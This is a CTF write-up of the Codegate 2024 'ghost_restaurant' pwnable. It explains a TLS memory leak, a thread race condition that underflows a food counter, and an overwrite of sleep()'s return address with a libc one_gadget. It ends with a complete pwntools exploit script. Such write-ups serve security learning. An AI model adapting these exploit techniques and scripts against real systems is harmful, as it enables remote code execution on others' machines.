Codegate CTF 2024 Quals - ghost_restaurant (without shadow stack)

28th Aug 2024
4 min read
Tags:
ctf,
pwnable,
race condition,
thread local storage

0x00. Introduction

[*] '/home/user/ghost_restaurant'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Structure

struct food {
    char name[0x40];
    long cook_time;
    long left_time;
}

There are several other structures used, but I’ve only stated the critical one to solve the challenge.

Concept

Creating and selecting an oven spawns a cook_1928 thread where you can insert or remove food.

When inserting, food becomes ready after the specified cook_time passes. The process of decrementing time and checking completion happens through the start_routine_16B1 thread.

0x01. Vulnerability

Information Leak

When food is removed (either due to cook_time expiring or manual remove), memory changes through the following logic.

printf("Select food to remove in '%s':\n", oven->name);
__isoc99_scanf("%d", &tmp);
for ( i = tmp; i < food_count; ++i )
{
  food_next = food[i + 1];
  food_cur = food[i];
  memcpy(food_cur, food_next, 0x50);
}

Since it copies from food[i + 1] even though the food is full, we can leak important data after the food structures.

Race Condition

Looking at the code for start_routine_16B1 that checks remaining time:

void __fastcall __noreturn start_routine_16B1(struct argument *a1)
{
  ...
  while ( 1 )
  {
    if ( *(__int64 *)arg->count > 0 )
    {
      for ( i = 0; i < *(_QWORD *)arg->count; ++i )
      {
        if ( arg->food[i].left_time > 0 )
        {
          food_tmp = &arg->food[i];
          if ( !--food_tmp->left_time )
          {
            printf("'%s' is ready!\n", arg->food[i].name);
            ...
            for ( j = i; j < *(_QWORD *)arg->count; ++j )
            {
              food_next = &arg->food[j + 1];
              food_cur = &arg->food[j];
              memcpy(food_cur, food_next, 0x50);
            }
            --*(_QWORD *)arg->count;
          }
        }
      }
    }
    sleep(1u);
  }
}

When left_time reaches 0, it shifts structures after that food forward by one position and decrements food_count.

There’s another way to remove food - looking at cook_1928:

void *__fastcall cook_1928(struct oven *a1)
{
  ...
  while ( 1 )
  {
    pthread_mutex_lock((pthread_mutex_t *)oven->mutex);
    while ( !LODWORD(oven->ready) )
      pthread_cond_wait((pthread_cond_t *)oven->cond, (pthread_mutex_t *)oven->mutex);
    ...
    __isoc99_scanf("%d", &choice);
    ...
    if ( choice == 2 )
    {
      printf("Select food to remove in '%s':\n", oven->name);
      ...
      __isoc99_scanf("%d", &tmp);
      if ( (int)tmp <= (__int64)__readfsqword(0xFFFFFE90) && (int)tmp > 0 )
      {
        LODWORD(tmp) = tmp - 1;
        for ( m = tmp; m < (__int64)__readfsqword(0xFFFFFE90); ++m )
        {
          food_cur = (struct food *)(__readfsqword(0) + 0x50LL * m - 0x160);
          food_next = (struct food *)(__readfsqword(0) + 0x50LL * (m + 1) - 0x160);
          memcpy(food_cur, food_next, 0x50);
        }
        __writefsqword(0xFFFFFE90, __readfsqword(0xFFFFFE90) - 1);
        goto LABEL_39;
      }
LABEL_19:
      puts("Invalid choice.");
      pthread_mutex_unlock((pthread_mutex_t *)oven->mutex);
    }
LABEL_39:
    pthread_mutex_unlock((pthread_mutex_t *)oven->mutex);
  }
  ...
}

It prints the current food list, receives the index in tmp of the food to remove, deletes it, then decrements food_count via __writefsqword() at line 26.

The vulnerability here is that the code decrementing food_count in start_routine_16B1 when time expires isn’t managed as a critical section. Therefore, it can execute concurrently with cook_1928’s remove logic, creating a race condition.

`cook_1928`	`start_routine_16B1`
`if ( tmp <= __readfsqword(0xFFFFFE90) && tmp > 0 )`
	`food_next = &arg->food[j + 1];`
`food_cur = (__readfsqword(0) + 0x50LL * m - 0x160);`
	`food_cur = &arg->food[j];`
`food_next = (__readfsqword(0) + 0x50LL * (m + 1) - 0x160);`
	`memcpy(food_cur, food_next, 0x50);`
`memcpy(food_cur, food_next, 0x50);`
	`--(_QWORD )arg->count;`
`__writefsqword(0xFFFFFE90, __readfsqword(0xFFFFFE90) - 1);`

If a race condition occurs this way, even with one insert, the value decrements twice, causing underflow in food_count.

0x02. Exploit

Information Leak

Starting from food[0] and printing memory in 0x50 (food size) increments reveals this region.

gef➤
0x7ffff7da56a0: 0x0000000000000000      0x0000000000000000
0x7ffff7da56b0: 0x0000000000000000      0x0000000000000000
0x7ffff7da56c0: 0x00007ffff7da56c0      0x000055555555a960
0x7ffff7da56d0: 0x00007ffff7da56c0      0x0000000000000001
0x7ffff7da56e0: 0x0000000000000000      0x3ce1f8458248c000

The area corresponding to food[4] contains addresses to TLS(Thread Local Storage) and heap regions, plus a canary value (though not needed for this challenge). Since you can insert up to 4 foods, creating food[0]~food[3] then removing food[0] copies food[4] data to food[3]. Removing food[0] four times this way copies the food[4] area data to food[0]~food[3].

Note that 0x7ffff7da56c0 stored at 0x7ffff7da56c0 is the TLS address - the value returned when executing __readfsqword(0). If this value changes, __readfsqword(0) returns the changed value, so we need to be careful.

printf("Foods in '%s':\n", oven->name);
for ( i = 0; i < (__int64)__readfsqword(0xFFFFFE90); ++i )
  printf(
    "%d. %s (cooking for %lld seconds, %lld seconds left)\n",
    (unsigned int)(i + 1),
    (const char *)(80LL * i + __readfsqword(0) - 0x160),  // name; 0x00007ffff7d864e0
    *(_QWORD *)(__readfsqword(0) + 0x50LL * i - 0x120),   // cook_time
    *(_QWORD *)(__readfsqword(0) + 0x50LL * i - 0x118));  // left_time

Since food.name is printed via %s formatter, we need to fill the intermediate \x00s. This can be solved through read() called when selecting the hidden choice.

if ( food_choice == 4 )     // hidden
{
  pthread_mutex_lock(&prompt_mutex_5100);
  printf("Enter food name for spacial food: ");
  read(0, (void *)(__readfsqword(0) - 0x160 + 0x50 * __readfsqword(0xFFFFFE90)), 0x40uLL);  // name; 0x00007ffff7d864e0
  pthread_mutex_unlock(&prompt_mutex_5100);
}

So I wrote the payload as follows.

    create_oven(s, b"1111")
    select_oven(s, b"1")

    for _ in range(4):
        insert_food(s, b"1", 12345)
    for _ in range(4):
        remove_food(s, b"1")
    insert_food(s, b"5", 12345, b"A" * 0x20)
    r = insert_food(s, b"5", 12345, b"B" * 0x28)
    tls = u64(r.split(b"A" * 0x20)[1].split(b" ")[0] + b"\x00\x00")
    libc = tls + 0x3940
    heap = u64(r.split(b"B" * 0x28)[2].split(b" ")[0] + b"\x00\x00") - 0x960
    remove_food(s, b"1")
    remove_food(s, b"1")

Since TLS is allocated just above libc, we can obtain the libc base by calculating the offset.

Race Condition

I wrote a brute force payload to find the sleep time needed to trigger the race condition.

def brute_force_time(port):
    context.log_level = 'error'
    for i in range(10000):
        s = remote("0.0.0.0", port)
        s.recvuntil(b"option: ")
        create_oven(s, b"1111")
        select_oven(s, b"1")

        # code for information leak

        insert_food(s, b"1", 1)
        sleep_time = 0.95 + i / 10000
        sleep(sleep_time)
        remove_food(s, b"1")
        r = insert_food(s, b"1", 60)
        if len(r.split(b"\n")) > 60:
            print(f"success : {sleep_time}")
        s.close()
        print(f'\rProgress: {i} / 10000\r', end='')

Since the race condition is triggered after information leak, the leak payload needs to be included to accurately find the timing.

On successful trigger, food_count becomes -1, and inserting then writes data to food[-1].

food[-1]     :  0x00007ffff7da5510 -> name[0x40]
                0x00007ffff7da5520
                0x00007ffff7da5530
                0x00007ffff7da5540
food_count   :  0x00007ffff7da5550 -> cook_time[0x8], left_time[0x8]
food[0]      :  0x00007ffff7da5560 -> name[0x40]
                0x00007ffff7da5570
                0x00007ffff7da5580
                0x00007ffff7da5590
                0x00007ffff7da55a0 -> cook_time[0x8], left_time[0x8]
                0x00007ffff7da55b0
                ...
TLS          :  0x00007ffff7da56c0
                ...
LIBC         :  0x00007ffff7da9000

Since input cook_time is written at the food_count position, inputting 60 makes it recognize food_count as 60, printing 60 foods. So I wrote the payload to judge success by the number of printed foods.

➜  python3 exploit.py -p 8798 -d 0 -b 1
success : 0.981
success : 0.9814
success : 0.9816

This found suitable sleep times. However, running it multiple times shows the time window shifts slightly, possibly due to memory issues.

RIP Control

After triggering the race condition, checking thread info with info threads in gdb:

gef➤  info threads
  Id   Target Id          Frame
  1    LWP 974101 "chall" 0x00007ffff7e41d61 in ?? () from ./lib/x86_64-linux-gnu/libc.so.6
* 2    LWP 974149 "chall" 0x0000555555555e51 in ?? ()
  3    LWP 974150 "chall" 0x00007ffff7e95adf in clock_nanosleep () from ./lib/x86_64-linux-gnu/libc.so.6

Thread 3 runs start_routine_16B1. Switching context with thread 3:

[#0] 0x7ffff7e95adf → clock_nanosleep()
[#1] 0x7ffff7ea2a27 → nanosleep()
[#2] 0x7ffff7eb7c63 → sleep()
[#3] 0x555555555923 → jmp 0x5555555556d9
[#4] 0x7ffff7e45a94 → jmp 0x7ffff7e4586d
[#5] 0x7ffff7ed2a34 → clone()
─────────────────────────────────────────────────────────────────────────────────────────────
gef➤  p $rsp
$1 = (void *) 0x7ffff75a3c20
gef➤  vmmap 0x7ffff75a3c20
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00007ffff6da5000 0x00007ffff75a5000 0x0000000000000000 rw-

It decrements left_time at each second and checks if food is ready by executing clock_nanosleep().

It also uses a new TLS region rather than the leaked one, using as stack.

The call stack goes sleep() -> nanosleep() -> clock_nanosleep(). To overwrite something, it’s better to taget sleep() which has longer call intervals.

 → 0x7ffff7eb7c84 <sleep+100>      ret
──────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "chall", stopped 0x7ffff7e41d61 in ?? (), reason: SINGLE STEP
[#1] Id 2, Name: "chall", stopped 0x7ffff7ec4a9a in read (), reason: SINGLE STEP
[#2] Id 3, Name: "chall", stopped 0x7ffff7eb7c84 in sleep (), reason: SINGLE STEP
────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7eb7c84 → sleep()
[#1] 0x555555555923 → jmp 0x5555555556d9
[#2] 0x7ffff7e45a94 → jmp 0x7ffff7e4586d
[#3] 0x7ffff7ed2a34 → clone()
─────────────────────────────────────────────────────────────────────────────────────────────
gef➤  x/gx $rsp
0x7ffff75a3ce8: 0x0000555555555923

When sleep() returns, rsp points to 0x7ffff75a3ce8. While this address is in a different TLS region than the leaked 0x7ffff7da56c0, the offset between TLS regions is consistent, so calculating the offset gives access.

The original challenge has shadow stack enabled, but without it here, we can overwrite this return address for RIP control.

On successful race condition trigger, food_count becomes -1. As a result, food[-1].cook_time is at the position of food_count, making it a large value. By appropriately using the index, we can write to the return address of sleep() in thread 3.

    insert_food(s, b"1", 1)
    sleep(0.9813)
    remove_food(s, b"1")
    
    food = 0x7ffff7da5560
    ret_sleep = 0x7ffff75a3ce0
    index = (food - ret_sleep) // 0x50 + 1
    print(insert_food(s, b"1", index * -1))

    one_gadget = 0x583dc
    payload = b"A" * 8
    payload += p64(libc + one_gadget)
    insert_food(s, b"5", 12345, payload)

Fortunately, there’s a usable one-shot gadget, so I overwrote it with that address.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "chall"
LIBRARY = "libc.so.6"
CONTAINER = "2206a2d4bc57"

code_base = 0x0000555555554000
bp = {
    'cook' : code_base + 0x1928,
    'dec_count_cook' : code_base + 0x21F9,
    'read_insert_cook' : code_base + 0x1E51,
    'remove_cook' : code_base + 0x1F9D,
    'go_back_cook' : code_base + 0x221A,
    'ret_print_oven' : code_base + 0x16B0,
}

gs = f'''
continue
b *{bp['dec_count_cook']}
b *{bp['read_insert_cook']}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def create_oven(s, name):
    s.sendline(b"0")
    s.recvuntil(b"name: ")
    s.sendline(name)
    return s.recvuntil(b"option: ")

def select_oven(s, number):
    s.sendline(number)
    return s.recvuntil(b"option: ")

def insert_food(s, number, time, name=""):
    s.sendline(b"1")
    s.recvuntil(b"> ")
    s.sendline(number)
    s.recvuntil(b"(seconds): ")
    s.sendline(str(time).encode())
    if number == b"5":
        s.recvuntil(b"food: ")
        s.send(name)
    return s.recvuntil(b"option: ")

def remove_food(s, number):
    s.sendline(b"2")
    s.recvuntil(b"> ")
    s.sendline(number)
    return s.recvuntil(b"option: ")

def go_back(s):
    s.sendline(b"3")
    return s.recvuntil(b"option: ")

def brute_force_time(port):
    context.log_level = 'error'
    for i in range(10000):
        s = remote("0.0.0.0", port)
        s.recvuntil(b"option: ")
        create_oven(s, b"1111")
        select_oven(s, b"1")

        for _ in range(4):
            insert_food(s, b"1", 12345)
        for _ in range(4):
            remove_food(s, b"1")
        insert_food(s, b"5", 12345, b"A" * 0x20)
        r = insert_food(s, b"5", 12345, b"B" * 0x28)
        tls = u64(r.split(b"A" * 0x20)[1].split(b" ")[0] + b"\x00\x00")
        libc = tls + 0x3940
        heap = u64(r.split(b"B" * 0x28)[2].split(b" ")[0] + b"\x00\x00") - 0x960
        remove_food(s, b"1")
        remove_food(s, b"1")

        insert_food(s, b"1", 1)
        sleep_time = 0.98 + i / 10000
        sleep(sleep_time)
        remove_food(s, b"1")
        r = insert_food(s, b"1", 60)
        if len(r.split(b"\n")) > 60:
            print(f"success : {sleep_time}")
        s.close()
        print(f'\rProgress: {i} / 10000\r', end='')

def main(port, debug, brute_force):
    if(brute_force):
        brute_force_time(port)
    if(port):
        s = remote("0.0.0.0", port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    s.recvuntil(b"option: ")
    create_oven(s, b"1111")
    select_oven(s, b"1")

    # information leak
    for _ in range(4):
        insert_food(s, b"1", 12345)
    for _ in range(4):
        remove_food(s, b"1")
    insert_food(s, b"5", 12345, b"A" * 0x20)
    r = insert_food(s, b"5", 12345, b"B" * 0x28)
    tls = u64(r.split(b"A" * 0x20)[1].split(b" ")[0] + b"\x00\x00")
    libc = tls + 0x3940
    heap = u64(r.split(b"B" * 0x28)[2].split(b" ")[0] + b"\x00\x00") - 0x960
    remove_food(s, b"1")
    remove_food(s, b"1")

    # trigger race condition
    insert_food(s, b"1", 1)
    sleep(0.9814)
    remove_food(s, b"1")
    
    # overwrite food_count
    food = 0x7ffff7da5560
    ret_sleep = 0x7ffff75a3ce0
    index = (food - ret_sleep) // 0x50 + 1
    print(insert_food(s, b"1", index * -1))
    
    # overwrite ret of sleep() in thread 3
    one_gadget = 0x583dc
    payload = b"A" * 8
    payload += p64(libc + one_gadget)
    insert_food(s, b"5", 12345, payload)

    s.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    parser.add_argument('-b', '--brute_force', type=int, default=0)
    args = parser.parse_args()
    main(args.port, args.debug, args.brute_force)

Codegate CTF 2024 Quals - ghost_restaurant (without shadow stack)

Table of Contents

0x00. Introduction

Structure

Concept

0x01. Vulnerability

Information Leak

Race Condition

0x02. Exploit

Information Leak

Race Condition

RIP Control

0x03. Payload